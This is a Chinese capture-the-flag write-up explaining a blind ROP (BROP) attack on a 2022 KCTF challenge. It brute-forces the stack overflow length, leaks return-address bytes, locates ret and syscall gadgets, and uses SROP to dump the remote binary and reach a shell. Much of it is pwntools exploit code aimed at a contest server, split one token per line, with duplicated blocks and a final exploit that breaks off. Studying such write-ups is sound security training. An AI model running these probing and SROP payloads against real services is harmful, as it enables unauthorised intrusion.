来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件
暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell
接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程
如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:
然后来看看结果
可以看到缓冲区长度应该是16
接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:
然后来看看爆破结果:
可以看到有两种情况都能让程序继续运行,分别是0xb0和0xce,我们来试一下:
这里会发现,当输入的是0xb0的时候程序直接重启了,所以直接推测输入0xb0是直接返回到了程序入口
当输入是0xce的时候是执行的正常流程。并且这里能够看出程序在读取输入的时候是调用了一个call了一个函数的,这样程序的结构才是输入,返回到下一个输出.
现在我们确定了原本程序的第十七个字节应该是0xce,以此为基础继续单字节爆破:
再爆破一字节:
到这里可以得到的结论就多起来了,首先是0x40,把爆破得到的三个字节组合一下:
0x4000ce,这不就是一个64位没开pie的程序的text段上的地址嘛
从这里我们大致猜测出了程序的架构,程序的保护情况(没开canary,没有pie)
再看这个0x60,说实话有点奇怪,为什么会有0x60,如果程序是64位没开pie,那么0x600000应该是数据段,正常来说应该不能执行的,但是如果本道题0x6000000段是rwx的呢,或者说没有开NX保护呢?都是有可能的,我们先暂且放一放这个0x60,继续通过0x40这里得到的结论来做
到这里我呢大概猜测出程序结构:
0x4000b0 程序入口
打印内容
call 读取输入
0x4000ce 打印 "TNT TNT!"
首先要找的就是ret,寻找方式其实也很简单,现在我们已经知道了程序正常执行的地址,如果把返回地址改成0x400xxx,然后把返回地址的下一个地址改成0x4000ce,如果正常运行了则说明返回地址处填写的是一个以ret结尾的gadget,至于会不会是其它操作+ret这种格式,其实不用担心,因为如果是这样的话,那么后面更大的地址处也会出现ret,所以只需要取地址最大的那个gadget,就一定是纯ret指令的地址。
一开始让倒数第三位为0进行爆破,发现跑出来的只有0xb0和0xce这两个老熟人,于是换成0x4001xx来爆破:
找到了两个新的success,根据上面的结论,0x400011是什么我不知道,但是我知道0x400106一定是ret指令
接下来要泄露的是syscall,这里可能有人会有疑惑,按照以往rop的经验,现在不是应该去寻找类似pop rdi;ret这类可以设置寄存器的gadget吗,但是对于这道题来说,它既然代码段小的可怜,很有可能并没有这些寄存器,而是采用syscall的形式来做到输入输出。而且最后我们控制程序执行流也是落到syscall指令,最后的一点原因,syscall比较好找。
如何来找呢,回头看我们会发现,我们到这里了还没有关注过stuck,这个程序结构非常简单,所以stuck基本不可能是因为进入了死循环,那么stuck住了说明程序要获取输入了,有几种情况呢,比如执行到了syscall,比如执行到了call 读取输入这条指令。
我们现在分析出的程序结构,在获取输入的时候应该是通过call来完成的,而正确的返回地址是0x4000ce,call指令一般是五个字节,所以可以合理的分析出,如果返回地址被我们填成0x4000c9,程序应该会再次获取输入,也就是会stuck住,我们来看看结果:
大致整理一下,会stuck的有:
0xb5,0xb6,0xb8,0xc2,0xc7,0xc9,0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3
可以看到0xc9确实会stuck住,并且0xc7也会,一个syscall是两字节,这里猜测是0xc7为syscall,执行的是write,然后call 获取输入
到这里我们其实已经可以控制程序执行流了,只需要用SROP技术,先通过读入指定长度的数据控制rax,然后执行syscall,在后面设置好寄存器即可控制执行流。利用执行流执行write(1,0x400000,0x2000)即可把远程的程序直接leak下来,拿到ida里静态分析就舒服多了。
在具体做的时候要注意rop里不能用0xc9那里的call,会扰乱执行流,并且我们发现0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3这几个也可以让程序stuck,所以这里很容易想到这几个地址应该是获取输入的函数内的地址,所以这里避开call指令,直接调到函数入口处实现读入,所以返回地址填成0x40000ec试试看能不能成功:
可以看到成功将程序本身打印出来了,我们接收一下,拿到二进制文件放进IDA里看看:
从IDA分析的结果来看,程序的结构和我们分析的基本一致。
放进gdb看一下发现0x600000居然是rwx段,所以说当初跳到0x6000xx的时候也能success
接下来就是思考如何getshell,这里其实直接srop写shellcode然后执行就可以了
如果0x600000段不是rwx的呢,也是可以做的,还是先通过srop将栈迁移到0x600000段上并且执行mprotect,因为程序段中有syscall ;call read这种代码片段,并且read函数在读入的时候是完全根据rsp来确定向哪里读入的,所以我们始终可以通过覆盖返回地址控制执行流。
最后附上解题exp:
成功打通:
def
get_overflow_length():
global
io
len
=
1
while
True
:
try
:
io
=
remote(
"221.228.109.254"
,
10045
)
sa(
"hacker, TNT!\n"
,
'a'
*
len
)
print
(
"now trying length is "
+
str
(
len
))
res
=
io.recv()
io.close()
if
"TNT TNT!"
not
in
res:
return
len
-
1
else
:
len
+
=
1
except
EOFError:
io.close()
return
len
-
1
print
(
"overflow length is "
+
str
(get_overflow_length()))
def
get_overflow_length():
global
io
len
=
1
while
True
:
try
:
io
=
remote(
"221.228.109.254"
,
10045
)
sa(
"hacker, TNT!\n"
,
'a'
*
len
)
print
(
"now trying length is "
+
str
(
len
))
res
=
io.recv()
io.close()
if
"TNT TNT!"
not
in
res:
return
len
-
1
else
:
len
+
=
1
except
EOFError:
io.close()
return
len
-
1
print
(
"overflow length is "
+
str
(get_overflow_length()))
io
=
remote(
'221.228.109.254'
,
10031
)
sa(
"hacker, TNT!\n"
,payload)
res
=
io.recv(timeout
=
3
)
if
"TNT"
in
res:
return
"success"
else
:
return
"stuck"
io
=
remote(
'221.228.109.254'
,
10031
)
sa(
"hacker, TNT!\n"
,payload)
res
=
io.recv(timeout
=
3
)
if
"TNT"
in
res:
return
"success"
else
:
return
"stuck"
return
"crash"
对于本道题来说,知道缓冲区为
16
,所以要爆破的是第十七字节,从
0
到
255
,于是写下如下代码:
```python
ans
=
open
(
"ans.txt"
,
'wb'
)
for
i
in
range
(
256
):
ans.write(
hex
(i)
+
"----->"
+
probe(
'a'
*
16
+
chr
(i))
+
'\n'
)
对于本道题来说,知道缓冲区为
16
,所以要爆破的是第十七字节,从
0
到
255
,于是写下如下代码:
```python
ans
=
open
(
"ans.txt"
,
'wb'
)
for
i
in
range
(
256
):
ans.write(
hex
(i)
+
"----->"
+
probe(
'a'
*
16
+
chr
(i))
+
'\n'
)
ans
=
open
(
"ans.txt"
,
'wb'
)
for
i
in
range
(
256
):
ans.write(
hex
(i)
+
"----->"
+
probe(
'a'
*
16
+
'\xce'
+
chr
(i))
+
'\n'
)
ans
=
open
(
"ans.txt"
,
'wb'
)
for
i
in
range
(
256
):
ans.write(
hex
(i)
+
"----->"
+
probe(
'a'
*
16
+
'\xce'
+
chr
(i))
+
'\n'
)
ans
=
open
(
"ans.txt"
,
'wb'
)
for
i
in
range
(
256
):
ans.write(
hex
(i)
+
"----->"
+
probe(
'a'
*
16
+
p64(
0x400100
+
i)
+
p64(
0x4000ce
))
+
'\n'
)
ans
=
open
(
"ans.txt"
,
'wb'
)
for
i
in
range
(
256
):
ans.write(
hex
(i)
+
"----->"
+
probe(
'a'
*
16
+
p64(
0x400100
+
i)
+
p64(
0x4000ce
))
+
'\n'
)
io
=
remote(
'221.228.109.254'
,
10001
)
ret
=
0x400106
sigframe
=
SigreturnFrame()
sigframe.rax
=
1
sigframe.rdi
=
1
sigframe.rsi
=
0x400000
sigframe.rdx
=
0x1000
sigframe.rip
=
0x4000c7
payload
=
b
'a'
*
16
+
p64(
0x4000ec
)
+
p64(
0x4000c7
)
+
bytes(sigframe)
io.send(payload)
sleep(
1
)
io.send(
'a'
*
15
)
irt()
io
=
remote(
'221.228.109.254'
,
10001
)
ret
=
0x400106
sigframe
=
SigreturnFrame()
sigframe.rax
=
1
sigframe.rdi
=
1
sigframe.rsi
=
0x400000
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)